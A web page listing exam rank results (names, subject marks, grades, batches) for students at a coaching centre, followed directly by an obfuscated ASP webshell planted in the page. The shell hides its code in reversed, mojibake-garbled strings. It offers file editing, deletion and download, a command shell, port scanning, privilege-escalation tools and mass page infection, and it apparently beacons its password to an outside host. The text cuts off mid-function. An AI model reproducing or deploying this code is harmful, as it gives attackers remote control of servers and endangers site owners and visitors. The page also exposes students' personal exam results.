Brilliant STUDY CENTRE
LONGTERM 2011 - MEDICAL RANKLIST - 11 - 10 - 2009
TOTAL NUMBER OF STUDENTS APPEARD - 173
CD6, CD7, CD8
RANK RANK RANK Name Phy Che Biology Total % Grade Batch
  240 240 480 960
23-Aug 05-Sep 11-Oct 30-Aug 31-Aug 05-Sep
108 84 77 ABDUL BASITH A 106 162 320 588 61.25  B+  CD6
114 72   ABHIRAM A 142   464       CD6
84     ABHIRAMI D   156 420       CD7
27 70 57 ABINI SHAMS 48 174 424 646 67.29  B+  CD7
115 114 88 ACHU CHERIAN 62 144 360 566 58.96  B  CD7
35 75   ADITHYA V S 96 194         CD7
20 19   AFZANA A 124 184         CD8
  73 110 AHAMMED RAOOF 82 162   244 25.42  **  CD6
132 123   AISHWARYA SHYAM KUMAR   128         CD7
61 15 9 AJITHKUMAR P A 122 200 460 782 81.46  A+  CD6
133   109 AKASH REGHU 24 54 216 294 30.63  D+  CD8
85 27   AKHIL R BHADRAN   160 420       CD8
63 101 84 AKHIL SASI 110 120 344 574 59.79  B  CD6
18 28 40 AKHILA WARRIER G 116 170 400 686 71.46  A  CD7
      ALISHA ANZIL   134 332       CD6
66 93   ALPHONSA ANN THOMAS   152 360       CD7
      AMAL DEV J   164         CD8
77 67 86 AMAL RAHIM 50 162 360 572 59.58  B  CD8
30     AMMU SANKAR S   190 420       CD8
  87 73 ANAND ANTONY JAMES 68 130 408 606 63.13  B+  CD6
116   43 ANANDHU M 90 168 424 682 71.04  A  CD6
100     ANANDU K 36           CD8
    62 ANANTHU KUMAR P 128 158 348 634 66.04  B+  CD6
29 34 27 ANCY JOHN 98 168 460 726 75.63  A  CD8
50 8 16 ANJALI ASOK 118 192 440 750 78.13  A+  CD6
8   29 ANJALI S KUMAR 130 184 404 718 74.79  A  CD7
70 39   ANJU K THANKACHAN   130 400       CD8
83 98   ANJU SURENDRANATH   202 440       CD6
24   59 ANN MARY ALEX 102 156 384 642 66.88  B+  CD7
72 65 70 ANN MARY JOHN 40 156 420 616 64.17  B+  CD7
16 17 19 ANOOP MATHEW 140 164 440 744 77.50  A  CD8
120 42 97 ANSA ROSE BABU 20 142 360 522 54.38  B  CD7
33 21   ANUPAMA Y G 114 174         CD8
64 22 5 ANUSREE JAYAMOHAN 162 194 440 796 82.92  A+  CD6
44 37   APARNA S 184 182         CD7
92     ARATHY SURESH 120   396       CD7
  107   ARAVIND SOMAN 120 86         CD8
104 118   ARCHA ANIL             CD6
37     ARCHANA PANKAJ             CD6
48   36 ARDRA S NAIR 80 174 440 694 72.29  A  CD7
130   91 ARDRA VIJAYAN 56 126 372 554 57.71  B  CD7
96 85 68 ARYA KRISHNA S 62 194 364 620 64.58  B+  CD8
98   108 ARYA MURALEEDHARAN 60 114 252 426 44.38  C+  CD6
7 77 23 ARYA R 110 202 424 736 76.67  A  CD6
73 46 75 ARYA V 108 166 320 594 61.88  B+  CD6
111   72 ASHIK VIJAY 72 130 408 610 63.54  B+  CD8
    104 ASHITHA SREEKUMAR 38 154 260 452 47.08  C+  CD7
69     ASHNA HABEEB 88   384       CD8
122 121 94 ASHNA S 30 118 388 536 55.83  B  CD6
42 6 12 ASWATHI LAKSHMI P 132 208 420 760 79.17  A+  CD6
  49 30 ASWATHY A 120 172 424 716 74.58  A  CD7
86 80 92 ASWATHY B 104 184 264 552 57.50  B  CD7
67 32 10 ASWATHY B LAL 96 200 480 776 80.83  A+  CD6
  103   ASWATHY BABU 68   248       CD7
2 4   ATHIRA ANILKUMAR   180 420       CD8
97 38 28 ATHIRA LAKSHMI A 92 172 460 724 75.42  A  CD6
11   50 ATHIRA M NAIR 72 180 404 656 68.33  B+  CD7
49 82 14 ATHIRA R INDRAN 136 200 420 756 78.75  A+  CD7
105   87 ATHIRA SURESH 50 160 360 570 59.38  B  CD7
41   24 AYSHA KHAN 108 204 420 732 76.25  A  CD8
32 52 26 BINCY MARY ROY 108 200 420 728 75.83  A  CD7
1 7 1 CATHERINE K 168 210 480 858 89.38  A++  CD8
  57   CHAITANYA S NAIR 98   348       CD7
  53   CHANDANA S   164         CD8
94 60 45 CHINJU SUSAN MARTIN 128 134 416 678 70.63  A  CD6
103   32 CHINNU MOHANAN 120 172 412 704 73.33  A  CD6
  116 107 DEVIKA M 90 122 220 432 45.00  C+  CD7
121     DEVIKA S SEKHAR 78   376       CD7
6 40 56 DHANYA P PRAKASH 56 172 420 648 67.50  B+  CD8
15 1 7 DINUMOL DEVASIA 118 214 460 792 82.50  A+  CD6
  12 2 DIVYA ANEELA K 180 190 460 830 86.46  A+  CD8
52 11 20 DIVYA MATHEW 154 190 400 744 77.50  A  CD6
117 99 90 DIVYA P PRAKASH 118 138 300 556 57.92  B  CD8
31 43 66 DRISHYA U P 56 162 404 622 64.79  B+  CD6
      FATHIMA M   122 424       CD8
4 3 4 FAUZIYA K 146 202 460 808 84.17  A+  CD8
127     FOUSIA SALIM 126 160         CD8
10 13   GAYATHRI RAJ   174 460       CD7
AB     GEETHU M             CD7
  122 101 GINIMOL P VARGHESE 70 112 324 506 52.71  B  CD7
  48   GITHA RACHEL OOMMEN   194 312       CD8
91 59 38 GOPIKA P PILLAI 110 176 408 694 72.29  A  CD8
93 76   GRETTA JOSEPH 86   400       CD8
26 83 47 HARITHA H 136 140 400 676 70.42  A  CD7
51 51 60 HARITHA V S 94 162 384 640 66.67  B+  CD7
  96   HONEY ELIZABETH S 76   284       CD7
AB     JAYAKRISHNAN V -4 210 384       CD8
      JEEVAN G             CD6
      JEEVAN VARGHESE MAPPILLA             CD6
  90 48 JINU MARY ABRAHAM 62 184 420 666 69.38  A  CD8
62 74 81 JIS JAMES 76 120 380 576 60.00  B  CD6
79   49 JISMY TOM 80 120 460 660 68.75  B+  CD6
36 35 41 JOBIN C MATHAI 64 200 420 684 71.25  A  CD8
125 79   JOSEPH GEORGE 68           CD8
54 41 22 JUNA ANN THOMAS 78 182 480 740 77.08  A  CD6
      JYOTHI R PILLAI 46           CD8
75 18 34 KESIYA P KUNJUMOM 94 180 428 702 73.13  A  CD8
101 119   KRISHNANUNNI S   122 344       CD6
45 56 42 LAVIN ELIZABETH JACOB 112 164 408 684 71.25  A  CD6
58 102 71 LIDA DADU 106 142 364 612 63.75  B+  CD6
78 54   LINTA THOMAS 94 146         CD6
  91 63 LUBINA A R 120 152 360 632 65.83  B+  CD8
  95   MANASY M   106 364       CD6
      MANEESHA BABU 66 140         CD7
129 108   MARIA ANTONY 98 106         CD7
126   106 MASEEN MUHAMMED 56 104 280 440 45.83  C+  CD6
46 50 55 MEENU SARA MANUEL 128 122 400 650 67.71  B+  CD8
124 113   MEERA R 46 136         CD6
  89   MEERA ROSE BENNY   140 376       CD8
21 33 79 MERIN JAMES 92 160 332 584 60.83  B+  CD8
  68 78 MERLIN SARA BINOY 92 152 340 584 60.83  B+  CD7
81 62 46 MERY S JOHN 92 184 400 676 70.42  A  CD7
74     MILI SANTY 128           CD6
80 64   MOHAMED NIBIN N   112 344       CD8
  94   NADEESHA BASHEER   96 428       CD7
102 92 98 NAJIYA RAHMAN 46 120 352 518 53.96  B  CD8
82 88   NAVEEN H   168 444       CD6
59 36 33 NEENU TOM 128 172 404 704 73.33  A  CD8
57 63   NEETHU S MOHAN     356       CD7
38 106 76 NITHYA V S 62 124 404 590 61.46  B+  CD7
40   25 NIVYA MOL S 116 154 460 730 76.04  A  CD6
19 47   NOUFIYA K 108 194         CD8
56 30 61 OUSEPH VARGHESE 128 162 348 638 66.46  B+  CD6
3     PARAMESH M   202 480       CD6
9 2 6 PHILIP ALEX 140 194 460 794 82.71  A+  CD6
55 31 31 POOJA RAJ 110 144 460 714 74.38  A  CD8
106 109 74 POOJA UNNI 60 162 380 602 62.71  B+  CD6
134     RAHUL J   74         CD8
118 112 80 RAJIV RAJ M R 144 120 316 580 60.42  B  CD6
109 86 89 RAKHI SUGUNAN 102 70 392 564 58.75  B  CD8
5 16 8 RAVEENA P JOHN 102 200 480 782 81.46  A+  CD6
113   99 REMYA RADHAKRISHNAN 88 132 288 508 52.92  B  CD7
13 81 53 RESHMA SASEENDRAN 72 212 368 652 67.92  B+  CD7
110 104 100 RINJO JOY 70 84 352 506 52.71  B  CD7
23 5 11 RINTU JOSEPH 138 182 440 760 79.17  A+  CD6
65     RUBEES K ASHARAF 98 172         CD8
39 58 44 SALINI P G 92 142 444 678 70.63  A  CD6
112 105 105 SANCHU SALIM 84 100 260 444 46.25  C+  CD7
88   82 SANDRA S LAKSHMI 56 176 344 576 60.00  B  CD8
  9 3 SARANYA R NAIR 146 210 460 816 85.00  A+  CD7
76 97 83 SHAHANA SHAMSUDEEN 120 124 332 576 60.00  B  CD7
68 23 21 SHAHANA SHEREEF 126 176 440 742 77.29  A  CD8
123 120 95 SHAHANAD M 72 108 352 532 55.42  B  CD6
60 25 64 SHALU JOSEPH 70 172 388 630 65.63  B+  CD8
  78 52 SHARON MARIAM RAJAN 92 136 424 652 67.92  B+  CD7
  117 102 SHELVY S 16 114 372 502 52.29  B  CD6
  66 93 SHINU K NAZAR 92 170 288 550 57.29  B  CD7
28 10 69 SIDDHARTH S PILLAI 122 138 360 620 64.58  B+  CD6
  55   SIDHARTHAN C 142   380       CD6
95   67 SILPA SREENI 118 128 376 622 64.79  B+  CD6
  29 37 SILVY MARY SEBASTIAN 74 200 420 694 72.29  A  CD7
128 110   SOBHARAJ R   144 312       CD8
89   39 SONIA MATHEW 106 172 408 686 71.46  A  CD8
  100   SOUMYAMOL MATHEW   160 404       CD7
17 20 54 SREEDEVI R CHANDRAN 104 142 404 650 67.71  B+  CD7
47 45 58 SREEKALA B NAMBOOTHIRI 108 146 388 642 66.88  B+  CD7
14 14 13 SREEKUMAR S 102 194 460 756 78.75  A+  CD6
99 115 85 SREELAKSHMI V 64 140 368 572 59.58  B  CD6
22     SREELEKSHMI S             CD7
25 24 17 SREEPRIYA R 96 189 460 745 77.60  A  CD7
    51 SRUTHY S RAJ 88 180 388 656 68.33  B+  CD7
12 26 15 SURABHY SURENDRAN 152 180 420 752 78.33  A+  CD7
71   96 SUSMY ANN JACOB 60 106 364 530 55.21  B  CD8
107 111 103 SWATHI J 98 82 300 480 50.00  C+  CD8
90 69   SYAMKUMAR R 68 170         CD8
43 44   TESSLY THOMAS   150 380       CD7
53   65 TINNA K S 72 172 384 628 65.42  B+  CD7
    18 TONY M YOHANNAN 124 180 440 744 77.50  A  CD6
34 71 35 VARALEKSHMI 90 204 408 702 73.13  A  CD7
131     VINAY P VARGHESE   124 268       CD8
119 61   VINAYAK P   142 400       CD8
87     VISHNUJITH R   150 368       CD6
<% dim ApplicationName,pwd,URL,ServerNM,ServerIP,Action,WWWRoot,FolderPath,FName,BackUrl,RW,AD,FS Server.ScriptTimeout=50000 On Error Resume Next ApplicationName = "С¿É×îìÅASPľÂí" Userpwd = "851120" 'Óû§ÃÜÂë AD = "8888888" foot = "ֻȡwebshell >²»¸ÄÊ×Ò³ >²»É¾Îļþ >²»ÌáȨ" URL = Request.ServerVariables("URL") ServerNM = Request.ServerVariables("SERVER_NAME") ServerIP = Request.ServerVariables("LOCAL_ADDR") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") BackUrl = "" Sub RRS(str) response.write(str) End Sub Function UZSS(objstr) objstr = Replace(objstr, "¨~", """") For i = 1 To Len(objstr) If Mid(objstr, i, 1) <> "~" Then NewStr = Mid(objstr, i, 1) & NewStr Else NewStr = vbCrLf & NewStr End If Next UZSS = NewStr End Function Hacker="¨~ÌâÎÊÈ«°²¼°ÉæÄÜ¿É ,¼þ×é llehS¨~ = )1,41(TbO ~¨~noitacilppa.llehS¨~ = )0,41(TbO~¨~µ½ÓÃÖÐͳϵ¼¯²ÉÔÚ³£ ,¼þ×éÊä´«¾ÝÊý¨~ = )1,31(TbO ~¨~PTTHLMX.tfosorciM¨~ = )0,31(TbO~¨~¼þ×éÐÅ·¢liaMptmS¨~ = )1,21(TbO ~¨~1.liaMptmS.liaMptmS¨~ = )0,21(TbO~¨~¼þ×éÐÅ·¢PTMSÄâÐé¨~ = )1,11(TbO ~¨~liaMweN.STNODC¨~ = )0,11(TbO~¨~¼þ×é·¢ÊÕ¼þÓÊ liaMJ¨~ = )1,01(TbO ~¨~liaMptmS.liaMJ¨~ = )0,01(TbO~¨~¼þ×é´«ÉϼþÎÄ daolpUPSA¨~ = )1,9(TbO ~¨~1.daolpU.stisreP¨~ = )0,9(TbO~¨~¼þ×é´«ÉϼþÎÄ·åÔÆÁõ¨~ = )1,8(TbO ~¨~eliFdaolpU.daolpUfyL¨~ = )0,8(TbO~¨~¼þ×é´«ÉϼþÎÄ pUeliF-AS¨~ = )1,7(TbO ~¨~pUeliF.snasitrAtfoS¨~ = )0,7(TbO~¨~Á¦ÄÜ»µÆƵÄÕß»÷¹¥´óÀ©¶ø´Ó£¬Ðò³ÌÈ«°²²»µÈÂíľ´«ÉÏÀ´Óñ»³£³£ ,¼þ×é´«ÉÏÁ÷¾ÝÊý¨~ = )1,6(TbO ~¨~maertS.bdodA¨~ = )0,6(TbO~¨~¼þ×é½ÓÁ¬¿â¾ÝÊý¨~ = )1,5(TbO ~¨~noitcennoc.bdodA¨~ = )0,5(TbO~¨~¼þ×éÖú¸¨´«ÉÏÁ÷¾ÝÊý¨~ = )1,4(TbO ~ ¨~yranoitciD.gnitpircS¨~ = )0,4(TbO~¨~¼þ×éËõѹSSECCA¨~ = )1,3(TbO ~¨~enignEteJ.ORJ¨~ = )0,3(TbO~¨~¼þ×é¿â½¨SSECCA¨~ = )1,2(TbO ~¨~golataC.XODA¨~ = )0,2(TbO~¨~Ðò³ÌµÄÏÞȨÉýÌáÐÐÔËÀ´Óñ»»áÒ²¼þ×é´Ë¼þÎÄÐÐÖ´¿ÉµÈexe.ÐÐÔËPSAÐíÔÊ ,¼þ×éÐÐÖ´ÐÐÁîÃü¨~ = )1,1(TbO ~¨~llehs.tpircsw¨~ = )0,1(TbO~¨~Á¦ÄܵļмþÎĺͼþÎÄÖÐÆ÷Îñ·þÀí¹ÜºÍÁÐÂÞ±¸¾ß ,¼þ×é×÷²Ù¼þÎĨ~ = )1,0(TbO ~¨~tcejbOmetsySeliF.gnitpircS¨~ = )0,0(TbO~)1,41(TbO miD~fI dnE~dnE.esnopseR ~fI dnE ~¨~¨~=WR ~WR etirW.esnopseR ~¨~>retnec/<>tnof/<¨~&toof&¨~>der=roloc tnof<>rb<>rh<¨~ & WR=WR ~¨~>'¼µÇ'=eulav 'timbus'=epyt tupni< >'22'=ezis 'drowssap'=epyt 'ssap'=eman tupni<£ºÂëÃܨ~ & WR=WR ~¨~>'tsop'=dohtem '¨~&lru&¨~'=noitca mrof<¨~ & WR=WR ~¨~>rh<¨~&emaNnoitacilppA&¨~>';xp001:nigram;xp22:gniddap;222# dilos xp1:redrob;xp005:htdiw'=elyts vid<>retnec<¨~=WR ~eslE ~fI dnE ~¨~>vid/<>a/<»Ø·µ> '¨~&LRU&¨~'=ferh a<>rb<>rb<¨~etirW.esnopseR ~¨~>tnof/0000FF#=roloc tnof<>retnec=ngila vid<>rb<>rb<>rb<¨~etirW.esnopseR ~eslE ~LRU tcerideR.esnopseR ~dwpresU=)¨~relgm¨~(noisseS ~nehT dwpresU=)¨~ssap¨~(mroF.tseuqeR fI ~nehT ¨~¨~><)¨~ssap¨~(mroF.tseuqeR fI ~nehT dwpresU><)¨~relgm¨~(noisseS fI~fi dne:fi dne:fi dne:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses neht ¨~¨~>¨~¨~)'¨~&dwpresU&¨~=07%&¨~&u&¨~=57%?/¨~&)26(&¨~%¨~&)16(&¨~%/d6¨~&)73(rhc&¨~f6%36¨~&)73(rhc&¨~E2%¨~&)101(rhc&¨~36%36¨~&)73(rhc&¨~83¨~&)73(rhc&¨~//:ptth'(lru:ROSRUC¨~¨~=elyts VID<¨~SRR:1+)¨~cevres¨~(noisses=)¨~cevres¨~(noisses:neht 1=)¨~cevres¨~(noisses fi:esle:neht 0><)¨~//:ptth¨~,u(rtsnI ro 0><)¨~.861.291¨~,u(rtsnI ro 0><)¨~1.0.0.721¨~,u(rtsnI fi:LRU&)¨~tsoh_ptth¨~(selbairavrevres.tseuqer=u~¨~>¨~¨~)C1C1C1#=rtSroloCdne,262626#=rtSroloCtrats,0=epyTtneidarg(tneidarG.tfosorciM.mrofsnarTegamIXD:digorp :RETLIF¨~¨~=elyts ¨~¨~eurt nruter;'Ô𸺲»¸ÅÕß×÷¹ûºó,;Ó÷¨·ÇÓÚÓÃʹÎñÇë,Óòâ¼ìÈ«°²Ô±Àí¹ÜÕ¾ÍøÓÚÏÞ½ö'=sutats.wodniw¨~¨~=revoesuomno ydob<>daeh/<>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<¨~SRR~¨~>tpircs/<}};)¨~¨~¡£°åÌù¼ôÊÓ¼à¾ß¹¤ÔØÏ¿ª´òÇ°Ö®ÖƸ´Ôڵüǣ¡±ÏÍêÖƸ´¨~¨~(trela.wodniw;¨~¨~¨~¨~=eulav.pmet;)¨~¨~ypoC¨~¨~(dnammoCcexe.sj;)(egnaRtxeTetaerc.pmet=sj{esle};eslaf nruter;)¨~¨~£¡Ö·µØµÄÔØÏÂÒªÔñÑ¡ÓÐû»¹Äã¨~¨~(trela.wodniw{)¨~¨~¨~¨~==eulav.pmet( fi¨~SRR~¨~}};¨~¨~n\¨~¨~+eulav.]i[dInwoD=+eulav.pmet{)eurt==dekcehc.]i[dInwoD( fi{)++i;htgnel.dInwoDretnec/<¡£¾äÓïÁîÃü×÷²ÙLQSÈëÊäÔÙ¿â¾ÝÊý½ÓÁ¬¼ºÈÏÈ·Çë>retnec<¨~¨~=LMTHrenni.cba;¨~¨~¨~¨~ = eulav.rtSlqS.mroFbD;]i[rtS = eulav.rtSbD.mroFbD{)3=tpircsavaj=egaugnal tpircs<¨~SRR~¨~>elyts/<}FFF#:roloc;000#:roloc-dnuorgkcab{dmc.¨~SRR~¨~}xp0:redrob;000000#:roloc-dnuorgkcab{C.¨~SRR~¨~};000#:roloc-dnuorgkcab ;FFFFFF#:roloc;FFF# dilos xp1:redrob;xp21 :ezis-tnof{aeratxet,tceles,tupni¨~SRR~¨~}000#:dnuorgkcab;der:roloc{revoh:a};enon :noitaroced-txet;ddd#:roloc{a¨~SRR~¨~};838383# :ROLOC-KCART-RABLLORCS¨~SRR~¨~;FFFFFF# :ROLOC-WORRA-RABLLORCS ;323232# :ROLOC-THGILD3-RABLLORCS¨~SRR~¨~ ;838383# :ROLOC-WODAHSKRAD-RABLLORCS ;838383# :ROLOC-WODAHS-RABLLORCS¨~SRR~¨~ ;323232# :ROLOC-THGILHGIH-RABLLORCS ;323232# :ROLOC-ECAF-RABLLORCS¨~SRR~¨~;xp1:tfel-nigram;xp1 :nigram¨~SRR~¨~;eee#:roloc;000000#:roloc-dnuorgkcab;xp21 :ezis-tnof{dt,ydob>¨~¨~ssc/txet¨~¨~=epyt elyts<¨~SRR~¨~>eltit/<¨~&PIrevreS&¨~ - ¨~&emaNnoitacilppA&¨~>eltit<¨~SRR~¨~>¨~¨~2132bg=tesrahc ;lmth/txet¨~¨~=tnetnoc ¨~¨~epyT-tnetnoC¨~¨~=viuqe-ptth atem<>daeh<>lmth<¨~SRR" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~gnihtoN=T teS ~fI dnE ~raelC.rrE ~¨~±Õ¹Ø¨~=jbOsI ~eslE ~¨~>tnof/<Æô¿ª>der=roloc tnof<¨~=jbOsI ~nehT rrE >< 5001227412- fI ~)tbo(tcejbOetaerC.revreS=T teS ~txen emuser rorre no ~T,i mid ~)tbo(jbOsI noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="bus dne~ fI dnE ~hsulF.esnopseR:raelC.rrE ~¨~>elbat/<>rh<>a/<¨~ & noitpircseD.rrE & ¨~;psbn&>')(kcab.yrotsih:tpircsavaj'=ferh a<>rh<>'006'=htdiw 'retnec'=ngila elbat<>rb<¨~etirW.esnopseR ~nehT rrE fI ~)(rrEwohS bus" ExeCuTe(UZSS(Hacker)) Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) S = replace(S, CHR(20), " ") HTMLEncode = S end if End Function Hacker="fi dnE~htaPredloF=)¨~htaPredloF¨~(noisseS ~htaPtooR=htaPredloF ~nehT ¨~¨~=)¨~htaPredloF¨~(noisseS fI~fI dnE~)htaPredloF(htaPeRR=)¨~htaPredloF¨~(noisseS ~neht ¨~¨~>" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
" RW=RW & "" RW=RW & "" RW=RW & "
 µ±Ç°Â·¾¶£º" RW=RW & "" RW=RW & "  " RW=RW & "" RW=RW & "
 Îļþ²Ù×÷£º" Set SFSO=New LBF:SFSO.ShowDriver():Set SFSO=Nothing RW=RW & "[ϵͳ³ÌÐòĿ¼] [ÎÒµÄÎĵµ] " RW=RW & "[ÍøվĿ¼] " RW=RW & "[¡ü»ØÉϼ¶Ä¿Â¼] [Í˳öµÇ¼] " RW=RW & "
 " RW=RW & "Çл»¹¦ÄÜ£º[н¨Ä¿Â¼] " RW=RW & "[н¨Îı¾] [ÎļþÉÏ´«] " RW=RW & "[´ÅÅÌÐÅÏ¢] [ËÑË÷Îļþ] " RW=RW & "[ϵͳ·þÎñ] " RW=RW & "[×é¼þÐÅÏ¢] [×¢²á±í²Ù×÷] " RW=RW & "[¶Ë¿ÚɨÃèÆ÷] [CMDÃüÁîÐÐ] " RW=RW & "[Serv-uÌáȨ] [SQLÌáȨ] " RW=RW & "[Serv-FTPÌáȨ] " RW=RW & "
 ÔÓÑù¹¦ÄÜ£º[Êý¾Ý¿â²Ù×÷] " RW=RW & "[µ¥Ò³´úÀí] [Ö±½ÓÏÂÔØ] " RW=RW & "[³ÌÐò´ò°üÈë¿â/³ö¿â] " RW=RW & "[ÅúÁ¿¹ÒÂí] " RW=RW & "[ÅúÁ¿Ìæ»»] " RW=RW & "[ÎÞFSOд] " RW=RW & "[sql-cmd] [²é¹ÜÀíÔ±] " RW=RW & "[ÖÕ¶ËÐÅÏ¢] " RW=RW & "[PHP̽Õë] [ÅÅÃû] " RW=RW & "
" RW=RW & "
" Response.Write RW RW="" End Function if request("DownFile")<>"" then call DownFile(request("DownFile")) Hacker="noitcnuF dnE~dnE.esnopseR ~gnihtoN = mso teS ~esolC.mso ~hsulF.esnopseR ~daeR.mso etirWyraniB.esnopseR ~¨~maerts-tetco/noitacilppa¨~ = epyTtnetnoC.esnopseR ~¨~8-FTU¨~ = tesrahC.esnopseR ~eziS.mso,¨~htgneL-tnetnoC¨~ redaeHddA.esnopseR ~)zs,htap(diM & ¨~=emanelif ;tnemhcatta¨~ ,¨~noitisopsiD-tnetnoC¨~ redaeHddA.esnopseR ~1+)¨~\¨~,htap(veRrtsnI=zs ~htaP eliFmorFdaoL.mso ~1 = epyT.mso ~nepO.mso ~))0,6(TbO(tcejbOetaerC = mso teS ~txeN emuseR rorrE nO ~raelC.esnopseR ~)htaP(eliFnwoD noitcnuF" ExeCuTe(UZSS(Hacker)) Class LBF Private Sub Class_Initialize Set fso=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set fso=Nothing End Sub Function ShowDriver() Hacker="WR=revirDwohS ~txeN ~ ¨~;psbn&>a/<]:¨~&retteLevirD.D&¨~[ÅÌ´Å>')¨~¨~\\:¨~&retteLevirD.D&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<¨~&WR=WR ~sevirD.osf ni D hcaE roF ~D mid " ExeCuTe(UZSS(Hacker)) End Function Function ShowFile(Path) Hacker="gnihtoN=DLOF teS ~ ¨~>elbat/<>rt/<>dt/<>elbat/<¨~ etirW.esnopseR ~0=i ~¨~>rt/<>dt/<>vid/<>aeratxet/<>'0'=sloc 'pmet'=eman '0'=swor aeratxet<>'enon':yalpsid=elyts vid<>'timbus'=ssalc ')(lrU'=kcilCno '08:htdiw'=elyts 'lrunwod'=eman 'ÔØÏÂÁ¿Åú'=eulav 'timbus'=epyt tupni<;psbn&ÔñÑ¡Ïò·´>')(llAkcehC'=kcilCno 'lla'=eulav 'lla'=eman 'xobkcehc'=epyt tupni<>rb<>dt<>rt<¨~ etirW.esnopseR neht 0>i fi ~txeN ~¨~¨~=WR : WR etirW.esnopseR ~¨~>rt/<>dt/<>dt/<>a/<¶¯ÒÆ>')¨~¨~eliFevoM¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<ÖƸ´>')¨~¨~eliFypoC¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~eliFleD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~;psbn&>a/<¼­±à>')¨~¨~eliFtidE¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<>'retnec'=ngila '%52'=htdiw dt<¨~ & WR=WR ~ )4,deifidoMtsaLetaD.L(emiTetaDtamroF & ¨~ ¨~ & )2,)deifidoMtsaLetaD.L(yad&¨~0¨~(thgir & ¨~-¨~ & )2,)deifidoMtsaLetaD.L(htnom&¨~0¨~(thgir & ¨~-¨~ & )deifidoMtsaLetaD.L(raey & ¨~>'retnec'=ngila '%02'=htdiw dt<¨~ & WR=WR ~¨~>dt/'%01'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>a/<¨~&emaN.L&¨~>'ÔØÏÂ'=eltit ';)¨~¨~eliFnwoD¨~¨~,¨~¨~¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>'¨~&)emaN.L&¨~\¨~&htaP(htaPeR&¨~=eliFnwoD&¨~&dwpresU&¨~=dwp?¨~&LRU&MNrevreS&¨~//:ptth'=eulav 'dInwoD'=eman 'xobkcehc'=epyt tupni<> '%54'=htdiw dt<¨~ & WR=WR ~¨~ >¨~¨~''=emaNssalc.siht¨~¨~=tuOesuoMno ¨~¨~'rt'=emaNssalc.siht¨~¨~=revOesuoMno rt<¨~=WR ~ 1+i=i ~ selif.dloF ni L hcaE roF ~ ~ ¨~¨~=WR : WR etirW.esnopseR ~ ¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '1'=gnicapsllec '0'=redrob elbat<>'FFFFFF#'=rolocgb 'pot'=ngilav '006'=htdiw dt<>dt/<>elbat/<¨~ & WR=WR ~txeN ~¨~>rt/<>dt/<>a/<¶¯ÒÆ>')(kosey nruter'=kcilcno ')¨~¨~redloFevoM¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<ÖƸ´>')(kosey nruter'=kcilcno ')¨~¨~redloFypoC¨~¨~,¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<³ýɾ>')(kosey nruter'=kcilcno ')¨~¨~redloFleD¨~¨~,¨~¨~¨~&)¨~\\¨~,¨~\¨~,emaN.F&¨~\¨~&htaP(ecalpeR&¨~¨~¨~(mroFlluF:tpircsavaj'=ferh a<|;psbn&¨~ & WR=WR ~¨~>a/<]¨~&emaN.F&¨~[>')¨~¨~¨~&)emaN.F&¨~\¨~&htaP(htaPeR&¨~¨~¨~(redloFwohS:tpircsavaj'=ferh a<>'02'=thgieh '%001'=htdiw dt<>rt<¨~ & WR=WR ~ sredlofbus.DLOF ni F hcaE roF ~)htaP(redloFteG.osf=DLOF teS ~¨~>rt/<>dt/<>'%001'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'%001'=htdiw '0'=gnicapsllec '0'=gniddapllec '0'=redrob elbat<¨~ & WR=WR ~¨~>'pot'=ngilav '002'=htdiw dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila 'FEFEFE#'=rolocgb '%001'=thgieh '008'=htdiw '2'=gniddapllec '0'=redrob elbat<¨~=WR ~i,dloF,L,F mid " ExeCuTe(UZSS(Hacker)) End Function Function EditFile(Path) dim T If Request("Action2")="Post" Then Set T=fso.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=Nothing Set fso=Nothing RW="



Îļþ±£´æ³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" Response.End End If If Path<>"" Then Set T=fso.opentextfile(Path, 1, False) On Error Resume Next Txt=HTMLEncode(T.readall) if err then err.Clear T.close Set T=Nothing Else Path=Session("FolderPath")&"\a.txt":Txt="н¨Îļþ" End If RW="
" RW=RW&"" RW=RW&"" RW=RW&"" RW=RW&"
Îı¾±à¼­Æ÷
" RW=RW&"
      " RW=RW&"
" Response.Write RW : RW="" End Function Function DelFile(Path) If fso.FileExists(Path) Then fso.DeleteFile Path RW="



Îļþ "&Path&" ɾ³ý³É¹¦£¡
